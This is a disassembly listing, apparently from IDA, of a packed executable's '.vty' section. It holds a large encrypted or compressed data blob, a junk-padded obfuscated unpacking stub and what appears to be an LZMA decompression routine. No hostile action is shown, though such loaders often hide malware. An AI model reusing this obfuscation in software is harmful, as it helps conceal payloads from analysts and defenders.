		dd 8C09576Ch, 0EEF220B5h, 60865E21h, 0FC585D24h, 480C9577h
		dd 0E24CA68Bh, 0BF13917Bh, 0D1CA916Ch, 0B2BA29B4h, 718216DDh
		dd 0A171957Ah, 94CBAD3Fh, 0B84F200Fh, 73207253h, 433715E4h
		dd 219801D6h, 60911E97h, 313A7FB5h, 8ACDBC68h, 5C09957Eh
		dd 2FFDC896h, 3F0FEFD3h, 3D7073A7h, 0FCE0D255h,	7286492Dh
		dd 27661952h, 8C36A64Bh, 189FE48Fh, 872AD0ACh, 0CDA04828h
		dd 38988D86h, 0DB6F260h, 0C11CA074h, 0F52F7927h, 0C0E709F9h
		dd 1EDDE939h, 5FDFD2E5h, 0C2F0C0BBh, 1933CF2h, 0C5D85C59h
		dd 0CAA0182Ch, 0E2054C6Eh, 31D8AAD9h, 177CAE42h, 0CB5CAC8Fh
		dd 949B758Dh, 0B77A7A6Ch, 2110B3F0h, 9C80126Fh,	0E965DE4Ah
		dd 0CDA7C059h, 88C8D276h, 0C5AABB34h, 0CF63BE4Fh, 0C5D1CBA7h
		dd 8A5568A4h, 7C8577BAh, 50795091h, 0B9594D17h,	0DCC8188Eh
		dd 996B440Bh, 6DB89BD9h, 98A63642h, 0AF25C443h,	0BDEDBBE2h
		dd 6FEB8BDBh, 0D32B65C9h, 6A1A264Fh, 8721ABDEh,	627FE036h
		dd 0FC0F697Ah, 149692B0h, 0FB2514CCh, 315ACAFBh, 0C6790D03h
		dd 8509D160h, 796162FAh, 5A9DFF9Eh, 0CB65B675h,	339E4A5Bh
		dd 899C214Bh, 0BDA88745h, 441E5663h, 0AE4AD6C4h, 0D48D056Bh
		dd 219D1362h, 0F5EB1513h, 0E7442BCEh, 1853816Fh, 96F1A878h
		dd 7B459BBEh, 17AD215Bh, 0F03B2155h, 6EAC2E14h,	0A40EA5DAh
		dd 0D749FEF2h, 0AE40AB20h, 8FA656B0h, 4F174FCAh, 0C73C26D9h
		dd 0BE9E06EEh, 0D31D64DEh, 2D06546Bh, 4C7108EBh, 28D14561h
		dd 270F1CE8h, 0AF442B7Dh, 5C7A1D8Ah, 9925C1C0h,	0FDF9529Bh
		dd 0ED31C87Bh, 0D625FEADh, 98D26571h, 0F20E955Ah, 0E04FCFDDh
		dd 27DD9343h, 98F52B76h, 0B33FBE67h, 2EE2EE4Fh,	52490354h
		dd 95956D6Bh, 7C85C038h, 540DC919h, 0B31C230Dh,	5E89A169h
		dd 0B9EA8C9h, 0F5DF1698h, 1C890A87h, 19EC214h, 21421773h
		dd 0FB397683h, 1F553B0Fh, 0C194FE68h, 0DC1322A9h, 29467759h
		dd 1F491779h, 6A94262Bh, 0B25B53F0h, 9BC5F5AEh,	0E7E7258Ah
		dd 8A23691Bh, 0D085E64Fh, 12B396B9h, 540A1B11h,	0B7BD8CA1h
		dd 0F42940CFh, 0F0560082h, 96FCAEC9h, 0B572F8B2h, 0F941A008h
		dd 4744F28Ch, 16645676h, 5F50CDDDh, 0DBA60900h,	32867123h
		dd 0F8DCDFA5h, 730A9216h, 175D0871h, 8AE22CADh,	8E991A40h
		dd 0EF9D0048h, 0CE87C013h, 0A868616h, 0FA461D9Fh, 608D9B8Fh
		dd 0FF0B28C0h, 35DC8366h, 0E223692Ah, 40806F18h, 0B5361998h
		dd 3436775Fh, 18F9A132h, 0B155CA70h, 10C4A5F2h,	694067B2h
		dd 3ED53FB7h, 343E5876h, 0F04FFF1Ch, 89E3FFA4h,	2D8D8263h
		dd 3B968D75h, 0ABF5C3D4h, 0A7F4EE8Bh, 536F6575h, 0F21C2F8Ch
		dd 0FF02FB92h, 1008F938h, 4E69F998h, 5947B3CDh,	0DC29233Eh
		dd 7DC8439Dh, 0E01697FAh, 4CAB8300h, 3B9A1339h,	92CDEA7Ch
		dd 5FB95D8h, 331C39B4h,	3295BA7Dh, 3B060478h, 0DCA1A333h
		dd 151CFDD0h, 0CC973F5Ah, 4091C924h, 2EFA41D4h,	6101FD76h
		dd 7D00E678h, 0B9F51C1Ah, 0E77C49FCh, 4B4AC9ABh, 3EF41445h
		dd 980451B7h, 0DB9FFEFFh, 0EBECBFB8h, 0A06928Fh, 728EB24Dh
		dd 0EB93A3BBh, 46589D47h, 77D3AD35h, 7D6C7AAFh,	0B65E5CBAh
		dd 9CE40C7Bh, 0D76E2244h, 0FED6DAAEh, 2A3B74DAh, 0DB593C69h
		dd 5685FA25h, 6520CD5Ah, 6F98D4Dh, 0D196E892h, 9B1D8E90h
		dd 7531E10h, 0B3295C3Eh, 4E206872h, 0D5717903h,	3660CD6Dh
		dd 522ECA84h, 73609F94h
		dd 0E186FD5Ch, 99CD4952h, 8C9D83F3h, 0CAE0368h,	2314ADDDh
		dd 3EC6D7F8h, 4702F61Dh, 0EC45779Dh, 384AF715h,	8B0D74CBh
		dd 0E31F1614h, 5D6D8C14h, 29FCE199h, 0AB46367Ah, 60C455Eh
		dd 0E786462Bh, 8FC7D891h, 85B23B3Dh, 93C6D40Ah,	293EDB0h
		dd 54305467h, 0DE25649Fh, 4DA3342Eh, 7E752CEh, 513704ADh
		dd 0A1168205h, 19F4C4C9h, 0B47DFB1Ah, 0B153FAFCh, 677189AEh
		dd 329BEFABh, 576EB105h, 813F7B19h, 2EB46622h, 9979B1EBh
		dd 0B7AF6507h, 0BB36D8B3h, 0DFE91AF8h, 996FCEA7h, 9F58B4F7h
		dd 0F2BEC3A6h, 605E36A2h, 0F898EE02h, 6D5107FDh, 92AD2CC8h
		dd 6B9B47B2h, 32D12057h, 0FE584D23h, 0B241893Ah, 5D96E395h
		dd 7D560ADBh, 3E9DFAD8h, 9CEE704Bh, 3141C07Ch, 5D733220h
		dd 0DAC842D3h, 2BC41A3Bh, 7EB81BA0h, 518230DCh,	2D228080h
		dd 9A8E4840h, 0A43E5E20h, 33B1A144h, 87161FD9h,	4D430373h
		dd 6875D18Dh, 830EBD9Eh, 759AEB92h, 8F0116F9h, 0E26B9EC4h
		dd 24FB8FFh, 347091C3h,	0C3791B9Ch, 902D307Bh, 0EE7B8807h
		dd 50E902ACh, 3F6C3283h, 6EE75864h, 0CC4F7F4Fh,	0DB293703h
		dd 23151A09h, 5974C52Ch, 0CC14486Ch, 3F9466C6h,	8737B994h
		dd 49F99703h, 8AF953EBh, 1EFC77E5h, 0B605468Ch,	59B249F2h
		dd 0A44682C3h, 1A05DA01h, 85C10ABEh, 9258C807h,	19D51D73h
		dd 0AF1856CEh, 0EA28E530h, 371CF389h, 0FE0032B8h, 97FBC5E0h
		dd 1B3A7D4Ah, 21D74417h, 6926D51Eh, 7B71613Ah, 916E8FB4h
		dd 0FFD88FC1h, 43D6F674h, 0F4D8CAF1h, 0B98D1282h, 958C6871h
		dd 63BF03D0h, 9D0AC3Ch,	2C25475Eh, 855F0E92h, 543AE678h
		dd 0C082C116h, 0DB56946h, 4651426Bh, 0E1BA06C5h, 0FDAB79B5h
		dd 5228924Fh, 5DD5D23Bh, 450FCA47h, 16865CAh, 0F746FC78h
		dd 0A2437766h, 7676362Fh, 5005C44Bh, 4E35FE1Eh,	325A17F3h
		dd 45C93A96h, 0B81D509Dh, 1F98FFA6h, 0A14A38A4h, 66187BC6h
		dd 0C9259E17h, 761029EDh, 0C702CB64h, 0B10C79A7h, 53C28EA9h
		dd 43803507h, 4B74A4CFh, 4F17A244h, 0AED3A320h,	6E02643Bh
		dd 80E3D684h, 424FF81Ch, 61C17FEAh, 9DECD709h, 0AE489F9Ch
		dd 7E09CCD2h, 8E1AF697h, 38B90CE8h, 2440827Bh, 0ED1ED18Bh
		dd 98B0B122h, 9D00D11Ah, 26C53E39h, 707D6600h, 0E84A937Ah
		dd 24A8E58h, 5026FD93h,	3BD644EEh, 9BF98BF3h, 82F14594h
		dd 22390A8Dh, 7481D335h, 597031CFh, 0F79E7C07h,	0FF7DBCD9h
		dd 0AAA61646h, 9F41C941h, 0B88A0181h, 0FF646BDAh, 0EB36CAAEh
		dd 6505545Fh, 0EC1EC82Bh, 30C76C95h, 7014280h, 22539DB0h
		dd 5FB13B76h, 3D1EAAE8h, 0EC452939h, 954198CDh,	0F5AE817Ch
		dd 0AFF2B01Eh, 31274335h, 0DF7F1E11h, 1703837Ch, 0F3F0133h
		dd 0C115FA19h, 5669055Ah, 2AD18D6Fh, 3EDC3D95h,	24BCC9D8h
		dd 34C1463Dh, 7667FC84h, 9A0EAF10h, 0F6AF00AAh,	75D7A67Dh
		dd 0C5E40AD9h, 62549A64h, 2A6BE476h, 3DDAC699h,	8EA3F66h
		dd 0C74591Ah, 3683E7BAh, 9B1FD2D1h, 0C61D67E2h,	789601E0h
		dd 0FA6AC79Ch, 9205E41Ch, 27F80EC0h, 2818EA0Fh,	7DC21DB6h
		dd 55927955h, 0A3479375h, 97D5F7AAh, 1DBC1077h,	8301E4B5h
		dd 9E2A0710h, 7337C56h,	6BAEF13Bh, 0DC46073Fh, 925E6A85h
		dd 7984AE30h, 6D167FABh, 7937B08Fh, 1238601h, 60574B89h
		dd 0D0A8EC39h, 1A474B1Bh, 39A7F665h, 8AB5AEF4h,	0A3ED68EFh
		dd 474FEC59h, 0B2E2A9FDh, 0F5EE32E2h, 0D785D272h, 0A4C5823Ah
		dd 6D9BA3E0h, 1B08A99Dh, 1A635073h, 5FCB55FEh, 0C9D9866Ah
		dd 0EE2C81D6h, 11437691h, 44A810C6h, 7A90C197h,	2E2E8C05h
		dd 572D1F43h, 0E6E70111h, 8AAB1B34h, 77AF94D5h,	8E9A0CA9h
		dd 93DB1702h, 7B6429ECh, 0B4DAEE84h, 8B1121F8h,	4BDBFB66h
		dd 21FDFBF7h, 0CC22219Ch, 0A82E2B3h, 1693EDAEh,	8FFC6CCFh
		dd 0FC37E8FFh, 3F19C8D1h, 61D8FDD0h, 7593782Eh,	0F93D9D43h
		dd 12C8A7BFh, 4AC02A42h, 5CAB5F84h, 3B5E1D0h, 9EC4DB8Fh
		dd 897CE9DAh, 0BE8F3E1Ch, 0F14B0D0Dh, 30C32780h, 0CF267BE2h
		dd 97B66D5Fh, 7C1A56D9h, 0C60E5BE0h, 5DF5D4DCh,	0A567B95h
		dd 42189F12h, 923DF6B9h, 0EC50366Ch, 0B129595Dh, 10E1D694h
		dd 0CFAA1845h, 3BCCA7B8h, 6BDB3543h, 1A9DCD1Ah,	0EDD867D5h
		dd 46D4FDDEh, 3F953017h, 771174h, 9BEC453Bh, 760B69D9h
		dd 1F26CB64h, 0F58358C0h, 89A9C26Ah, 2C5EA02Ah,	65B710C4h
		dd 43FAFA35h, 0C9D37A7Eh, 629E5BC4h, 0A1E0C14Ch, 0E0ACD8A1h
		dd 6EEBCBEBh, 0C1D45C81h, 804FB866h, 0B5204092h, 349419E1h
		dd 0A312CBB5h, 0A6F10EC0h, 893B0D55h, 82BEEC0Ch, 0A0EEC196h
		dd 0A8C5BDF9h, 1F509E51h, 0CE192617h, 0C429179Bh, 0BC2C88DBh
		dd 0F0EF4E27h, 0BB8212C1h, 9EFF70C8h, 0F1827472h, 0FB489BBCh
		dd 0BDE250A0h, 0DC2B250Eh, 0E403D52Dh, 732E0F7Ah, 717F155Dh
		dd 0A6D0FA81h, 0B6F581E5h, 0BA2957C4h, 79FAA539h, 0FC7AB63Ch
		dd 0F268612Ah, 0A5E6226Fh, 1FB827BDh, 39FD4AF0h, 77DBB1C1h
		dd 9D4ECF6Ah, 772A8B89h, 0D3148D97h, 0BDDDC659h, 90F6115h
		dd 0FECD4176h, 0D77B1DD8h, 9C656A5Dh, 0EABEA3BDh, 4B987E35h
		dd 0E4E4BE7Bh, 3E72355Dh, 1BCADE31h, 66985843h,	0ECB53E5Dh
		dd 0AF91D24Ch, 0A305E6ECh, 0FBACB620h, 0C190FCB2h, 0E4D60F91h
		dd 0EAA5EFEAh, 8CF9FB36h, 0CE470A7h, 49E554D4h,	0FAEA3841h
		dd 9F3EBAECh, 0EA9C7184h, 0EE77EAC3h, 0AC67F488h, 229D02C3h
		dd 8EB9EDBEh, 0A1F02F0Eh, 50672783h, 0B6C1CBBDh, 72362E8Fh
		dd 0ABC45978h, 0B819FF2Bh, 5BCFED68h, 4AF92806h, 738A3625h
		dd 27AE206Dh, 0CDB5C245h, 851447F7h, 0C5C47DC3h, 9F67D1DDh
		dd 0D34532AEh, 6A095667h, 1992CDC7h, 0B0613147h, 0FFA90AE5h
		dd 0BAEFBF40h, 6CC5DA93h, 2613EDFBh, 62E58B5Fh,	0FBD32603h
		dd 361E628Ah, 9074C458h, 0BE6AA98Ah, 422CA4F6h,	27E8C863h
		dd 0A7013B9Eh, 0B6EB56E7h, 4BC2E465h, 6422D92Dh, 11E05121h
		dd 1AEC654h, 0B1FAB92Eh, 0DBA06ACAh, 4EA36A68h,	0D0F1717Fh
		dd 0DCDE2FCBh, 5EBE76D1h, 0B717E596h, 4292CA96h, 2E4D6199h
		dd 0D5847C5Bh, 6C15C13Eh, 0AA354087h, 3D01658Fh, 36C28814h
		dd 0BFF46B51h, 3A02F25Bh, 607AE3E8h, 31732EE2h,	87E585D8h
		dd 0BF24EAh, 0E8E82DEh,	5FB1C73Ch, 4E0AD9C3h, 8A162F3h
		dd 506986F8h, 0EBFDBD6Fh, 3EF3E6FEh, 0C88D846h,	44A62B86h
		dd 91D0DB93h, 0D9E7A286h, 23783AC3h, 2DDB7E1h, 66ADCC30h
		dd 80372B10h, 5DD2BDFh,	100715A3h, 0A3D136F5h, 0F76A7924h
		dd 314FAACCh, 596AFB6Fh, 41F57E9Ch, 3A29D994h, 0DA02353h
		dd 30388A10h, 0FC76C09Ch, 6C41780Eh, 0B7F8AC85h, 0B71DF891h
		dd 4C4E010Fh, 75BB5DD1h, 0CAD49D81h, 0CD0D370Fh, 6D91BA7h
		dd 0F1BD3028h, 9B66092Dh, 0C8DE247Fh, 2EB11C8Fh, 0FF2D1FC3h
		dd 0A7A2CB22h, 0EA3CE9D3h, 0D2A6FDE2h, 0B03241FCh, 3403D332h
		dd 0B0006F05h, 9CD0E846h, 29291D3Ah, 0FD58E78Eh, 887C09DAh
		dd 9976DEB6h, 23DAA102h, 6EBFE7AEh, 1ADAAA78h, 85CAC245h
		dd 30C1D0BBh, 0A4EF2C8Fh, 4EAE1CC6h, 40E16012h,	9612F2B9h
		dd 37791B25h, 68419769h, 544D42F1h, 2D1A52EBh, 58EA9A14h
		dd 4096514Ch, 88231D2Ah, 7B8D5394h, 0AE58A88h, 34F6BF2Ch
		dd 0FF88C4Dh, 0AD4D1756h, 0A35C4B1Dh, 25EE3777h, 768A3E65h
		dd 4B58D54h, 3C7FCBD7h,	83168495h, 2F3CBB37h, 0F0FADB26h
		dd 18F168EBh, 19821E45h
		dd 0C0950959h, 5FEA0F34h, 0FDEF58A0h, 7F04F824h, 0E32B6CCBh
		dd 6A0F67EFh, 0A1A26970h, 5FC1DEA9h, 6D05301Dh,	26DCC2DDh
		dd 0B9509282h, 0D862F22Eh, 0FB0734Eh, 5CA61939h, 441CD915h
		dd 0D7B65D42h, 0C08ADECAh, 9D97DCD9h, 769FC88Fh, 0A3946F36h
		dd 3AEE9E1Bh, 2F018C30h, 0CA5530F8h, 5783B2EFh,	820FD021h
		dd 0D0FE0794h, 0C087963Ah, 86A4153h, 9D359068h,	7B5F9306h
		dd 612C91F3h, 2B7CA74h,	8FB15B2Ch, 1B53AC71h, 962F4D76h
		dd 87B858F7h, 98745842h, 0F1269667h, 4894C382h,	0C622A79Fh
		dd 0D5B4F192h, 7D10508Fh, 98D8F7F7h, 11FE63E9h,	0F43FB311h
		dd 6B5F2D93h, 5C4AD0DCh, 2F897100h, 65AFD93h, 0B70A8789h
		dd 0C3B5B830h, 6CAF56F6h, 0DC1E5DBCh, 0C698919Dh, 0A1CC5D9Bh
		dd 5F2AF005h, 1141D835h, 0DCFE9793h, 99D5FF5Ah,	92E5B77Bh
		dd 3B4A0998h, 8434D837h, 3BC1489Ch, 7C5B8A46h, 0B1D5208Ch
		dd 0A721032Eh, 55FB21B8h, 0B1E9931Fh, 8D6ABF6Bh, 256F3192h
		dd 5719B986h, 0AA435C70h, 0C2CB920Fh, 4878082Dh, 4B780CB3h
		dd 1C98BB2Fh, 0ED90D31h, 53050BBEh, 0C65BD49Ch,	839F1679h
		dd 9903458Ch, 597F1D12h, 0EEE87291h, 2CEF8072h,	4BD1E562h
		dd 0FB46807Ch, 0DDA72A6Bh, 8BA924CBh, 0FCFFB9D0h, 682952h
		dd 0
		dd 4000h, 0D8000000h, 4000C1Ch,	0
		dd 0D5000000h, 8A004480h, 68004382h, 24004381h,	4280h
		dd 2 dup(4000h), 0
		db 80h,	43h, 0
; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
		dd 5B8D5B00h, 8BC08BC6h, 8BC98BDBh, 909090F6h, 8D28EB90h
		dd 0C08BC65Bh, 0C98BDB8Bh, 9C66F68Bh, 24748B60h, 0FB7E8D22h
		dd 0B90CC683h, 0Bh, 6C83A4F3h, 61052224h, 1C39D66h, 8BC08B1Bh
		dd 8BC98BDBh, 909090F6h, 27EB9090h, 0C08B1B01h,	0C98BDB8Bh
		dd 9C66F68Bh, 24748B60h, 0FB7E8D22h, 0B90CC683h, 0Ah, 6C83A4F3h
		dd 61052224h, 8BC39D66h, 8BC08B13h, 8BC98BDBh, 909090F6h
		dd 27EB9090h, 0C08B138Bh, 0C98BDB8Bh, 9C66F68Bh, 24748B60h
		dd 0FB7E8D22h, 0B90CC683h, 0Ah,	6C83A4F3h, 61052224h, 8DC39D66h
		dd 0C08B1473h, 0C98BDB8Bh, 9090F68Bh, 28EB9090h, 8B14738Dh
		dd 8BDB8BC0h, 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh
		dd 0BB9h, 83A4F300h, 522246Ch, 0C39D6661h, 0C08B086Ah
		dd 0C98BDB8Bh, 9090F68Bh, 0EB909090h, 8B086A27h, 8BDB8BC0h
		dd 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh, 0AB9h, 83A4F300h
		dd 522246Ch, 0C39D6661h, 8BC08B59h, 8BC98BDBh, 909090F6h
		dd 0EB909090h, 0C08B5926h, 0C98BDB8Bh, 9C66F68Bh, 24748B60h
		dd 0FB7E8D22h, 0B90CC683h, 9, 6C83A4F3h, 61052224h, 1C39D66h
		dd 8BC08B16h, 8BC98BDBh, 909090F6h, 27EB9090h, 0C08B1601h
		dd 0C98BDB8Bh, 9C66F68Bh, 24748B60h, 0FB7E8D22h, 0B90CC683h
		dd 0Ah,	6C83A4F3h, 61052224h, 0ADC39D66h, 0DB8BC08Bh, 0F68BC98Bh
		dd 90909090h, 26EB9090h, 8BC08BADh, 8BC98BDBh, 609C66F6h
		dd 2224748Bh, 83FB7E8Dh, 9B90CC6h, 0F3000000h, 246C83A4h
		dd 66610522h, 8B49C39Dh, 8BDB8BC0h, 90F68BC9h, 90909090h
		dd 4926EB90h, 0DB8BC08Bh, 0F68BC98Bh, 8B609C66h, 8D222474h
		dd 0C683FB7Eh, 9B90Ch, 0A4F30000h, 22246C83h, 9D666105h
		dd 54850FC3h, 8BFFFFFFh, 0E906C6E8h, 890C438Bh,	458B0146h
		dd 8B046A08h, 8BDB8BC0h, 90F68BC9h, 90909090h, 46A27EBh
		dd 0DB8BC08Bh, 0F68BC98Bh, 8B609C66h, 8D222474h, 0C683FB7Eh
		dd 0AB90Ch, 0A4F30000h,	22246C83h, 9D666105h, 100068C3h
		dd 0C08B0000h, 0C98BDB8Bh, 9090F68Bh, 682AEBh, 8B000010h
		dd 8BDB8BC0h, 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh
		dd 0DB9h, 83A4F300h, 522246Ch, 0C39D6661h, 68h,	8BC08B0Fh
		dd 8BC98BDBh, 0EB9090F6h, 682Ah, 0C08B0F00h, 0C98BDB8Bh
		dd 9C66F68Bh, 24748B60h, 0FB7E8D22h, 0B90CC683h, 0Dh, 6C83A4F3h
		dd 61052224h, 6AC39D66h, 8BC08B00h, 8BC98BDBh, 909090F6h
		dd 27EB9090h, 0C08B006Ah, 0C98BDB8Bh, 9C66F68Bh, 24748B60h
		dd 0FB7E8D22h, 0B90CC683h, 0Ah,	6C83A4F3h, 61052224h, 0FFC39D66h
		dd 8BD08BD0h, 8BDB8BC0h, 90F68BC9h, 90909090h, 0D08B27EBh
		dd 0DB8BC08Bh, 0F68BC98Bh, 8B609C66h, 8D222474h, 0C683FB7Eh
		dd 0AB90Ch, 0A4F30000h,	22246C83h, 9D666105h, 8BFA8BC3h
		dd 8BDB8BC0h, 90F68BC9h, 90909090h, 0FA8B27EBh,	0DB8BC08Bh
		dd 0F68BC98Bh, 8B609C66h, 8D222474h, 0C683FB7Eh, 0AB90Ch
		dd 0A4F30000h, 22246C83h, 9D666105h, 90B8C3h, 0C08B0000h
		dd 0C98BDB8Bh, 9090F68Bh, 90B82AEBh, 8B000000h,	8BDB8BC0h
		dd 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh, 0DB9h, 83A4F300h
		dd 522246Ch, 0C39D6661h, 0FFFFFFB9h, 8BC08B0Eh,	8BC98BDBh
		dd 0EB9090F6h, 0FFFFB92Ah, 0C08B0EFFh, 0C98BDB8Bh, 9C66F68Bh
		dd 24748B60h, 0FB7E8D22h, 0B90CC683h, 0Dh, 6C83A4F3h, 61052224h
		dd 0F3C39D66h, 8BC08BAAh, 8BC98BDBh, 909090F6h,	27EB9090h
		dd 0C08BAAF3h, 0C98BDB8Bh, 9C66F68Bh, 24748B60h, 0FB7E8D22h
		dd 0B90CC683h, 0Ah, 6C83A4F3h, 61052224h, 0B8C39D66h, 0C3h
		dd 0DB8BC08Bh, 0F68BC98Bh, 2AEB9090h, 0C3B8h, 8BC08B00h
		dd 8BC98BDBh, 609C66F6h, 2224748Bh, 83FB7E8Dh, 0DB90CC6h
		dd 0F3000000h, 246C83A4h, 66610522h, 8BAAC39Dh,	8BDB8BC0h
		dd 90F68BC9h, 90909090h, 0AA26EB90h, 0DB8BC08Bh, 0F68BC98Bh
		dd 8B609C66h, 8D222474h, 0C683FB7Eh, 9B90Ch, 0A4F30000h
		dd 22246C83h, 9D666105h, 6AD2FFC3h, 10006804h, 73FF0000h
		dd 55FF5108h, 8BD08B08h, 9CE91873h, 8B000000h, 0AD3B03F8h
		dd 0BA0FC88Bh, 7731FF7h, 88E9A5F3h, 60000000h, 0FF575652h
		dd 44891453h, 60611C24h, 3B2BEF8Bh, 788DDF8Bh, 6AF633FBh
		dd 64EB5AFCh, 242E048Ah, 74E83CFEh, 2E048B0Dh, 66F0E480h
		dd 75800F3Dh, 0C68B464Eh, 334C22Bh, 4C8AD68Bh, 0D041042Eh
		dd 573C75E9h, 2E3C8B46h, 0FE2BFB2Bh, 832E3C89h,	1A7703F8h
		dd 0E1C1C88Bh, 0FFBF03h, 0E7D30000h, 8D2E3C33h,	0C8A300Ch
		dd 0E9D04129h, 0C683DA74h, 2E0C8A03h, 930FE9D0h, 88CDFEC5h
		dd 465F2E2Ch, 987CF73Bh, 0ADF10361h, 850FC085h,	0FFFFFF5Bh
		dd 800068h, 0FF525000h,	438D0C55h, 46A500Ch, 33FF016Ah
		dd 8B1055FFh, 432B0843h, 68046A04h, 1000h, 0FF006A50h
		dd 50600855h, 0FF1C73FFh, 1453FF33h, 80006861h,	6A0000h
		dd 0C55FF50h, 500C438Dh, 6A0C73FFh, 0FF33FF01h,	738B1055h
		dd 327EB20h, 55FF5003h,	33E8B00h, 0F12EB3Bh, 721FF1BAh
		dd 410B0304h, 50515041h, 0AB0455FFh, 850F8B58h,	83E875C9h
		dd 85AD10C6h, 61D475C0h, 0FFFA32E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		xor	eax, eax
		inc	eax
		mov	edi, [ebp+10h]
		mov	[ebp-14h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-18h], eax
		mov	[ebp-28h], eax
		mov	eax, 400h
		xor	edx, edx
		mov	ecx, 30736h
		rep stosd
		mov	eax, [ebp+0Ch]
		push	5
		mov	[ebp-8], eax
		mov	[ebp-10h], edx
		mov	[ebp-1], dl
		mov	[ebp-0Ch], edx
		mov	[ebp+0Ch], edx
		or	eax, 0FFFFFFFFh
		pop	ecx


loc_448113:				; CODE XREF: .vty:00448128j
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		inc	dword ptr [ebp-8]
		dec	ecx
		mov	[ebp+0Ch], edx
		jnz	short loc_448113


loc_44812A:				; CODE XREF: .vty:004482BCj
					; .vty:004482CBj ...
		mov	esi, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		and	esi, 3
		shl	ecx, 4
		add	ecx, esi
		cmp	eax, 1000000h
		lea	edi, [edx+ecx*4]
		jnb	short loc_44815C
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_44815C:				; CODE XREF: .vty:00448143j
		mov	ecx, [edi]
		mov	ebx, eax
		shr	ebx, 0Bh
		imul	ebx, ecx
		cmp	[ebp+0Ch], ebx
		jnb	loc_4482D9
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		movzx	ecx, byte ptr [ebp-1]
		imul	ecx, 0C00h
		xor	edx, edx
		mov	[edi], esi
		mov	esi, [ebp+10h]
		inc	edx
		cmp	dword ptr [ebp-0Ch], 7
		lea	ecx, [esi+ecx+1CD8h]
		mov	eax, ebx
		mov	[ebp-20h], ecx
		jl	loc_448242
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-14h]
		mov	esi, [ebp+8]
		movzx	ecx, byte ptr [esi+ecx]
		mov	[ebp-24h], ecx


loc_4481B3:				; CODE XREF: .vty:0044823Aj
		shl	dword ptr [ebp-24h], 1
		mov	esi, [ebp-24h]
		mov	edi, [ebp-20h]
		and	esi, 100h
		cmp	eax, 1000000h
		lea	ecx, [edx+esi]
		lea	ecx, [edi+ecx*4+400h]
		mov	[ebp-2Ch], ecx
		jnb	short loc_4481ED
		mov	ebx, [ebp-8]
		mov	edi, [ebp+0Ch]
		movzx	ebx, byte ptr [ebx]
		shl	edi, 8
		or	edi, ebx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edi


loc_4481ED:				; CODE XREF: .vty:004481D4j
		mov	ecx, [ecx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_44821B
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-2Ch]
		add	edx, edx
		test	esi, esi
		mov	[ecx], edi
		jnz	loc_44829B
		jmp	short loc_448234
; ---------------------------------------------------------------------------


loc_44821B:				; CODE XREF: .vty:004481FAj
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		test	esi, esi
		mov	edi, [ebp-2Ch]
		mov	[edi], ecx
		lea	edx, [edx+edx+1]
		jz	short loc_44829B


loc_448234:				; CODE XREF: .vty:00448219j
		cmp	edx, 100h
		jl	loc_4481B3
		jmp	short loc_4482A3
; ---------------------------------------------------------------------------


loc_448242:				; CODE XREF: .vty:0044819Dj
					; .vty:004482A1j
		cmp	eax, 1000000h
		mov	ecx, [ebp-20h]
		lea	edi, [ecx+edx*4]
		jnb	short loc_448266
		mov	esi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	ecx, 8
		or	ecx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_448266:				; CODE XREF: .vty:0044824Dj
		mov	ecx, [edi]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, ecx
		cmp	[ebp+0Ch], esi
		jnb	short loc_448289
		mov	eax, esi
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		mov	[edi], esi
		add	edx, edx
		jmp	short loc_44829B
; ---------------------------------------------------------------------------


loc_448289:				; CODE XREF: .vty:00448273j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, ecx
		shr	esi, 5
		sub	ecx, esi
		mov	[edi], ecx
		lea	edx, [edx+edx+1]


loc_44829B:				; CODE XREF: .vty:00448213j
					; .vty:00448232j ...
		cmp	edx, 100h
		jl	short loc_448242


loc_4482A3:				; CODE XREF: .vty:00448240j
		mov	esi, [ebp-10h]
		mov	ecx, [ebp+8]
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-0Ch], 4
		mov	[ebp-1], dl
		mov	[ecx+esi], dl
		jge	short loc_4482C1
		and	dword ptr [ebp-0Ch], 0
		jmp	loc_44812A
; ---------------------------------------------------------------------------


loc_4482C1:				; CODE XREF: .vty:004482B6j
		cmp	dword ptr [ebp-0Ch], 0Ah
		jge	short loc_4482D0
		sub	dword ptr [ebp-0Ch], 3
		jmp	loc_44812A
; ---------------------------------------------------------------------------


loc_4482D0:				; CODE XREF: .vty:004482C5j
		sub	dword ptr [ebp-0Ch], 6
		jmp	loc_44812A
; ---------------------------------------------------------------------------


loc_4482D9:				; CODE XREF: .vty:00448169j
		sub	[ebp+0Ch], ebx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		mov	edx, [ebp-0Ch]
		sub	eax, ebx
		cmp	eax, 1000000h
		mov	[edi], ecx
		mov	ecx, [ebp+10h]
		lea	edx, [ecx+edx*4+300h]
		jnb	short loc_448312
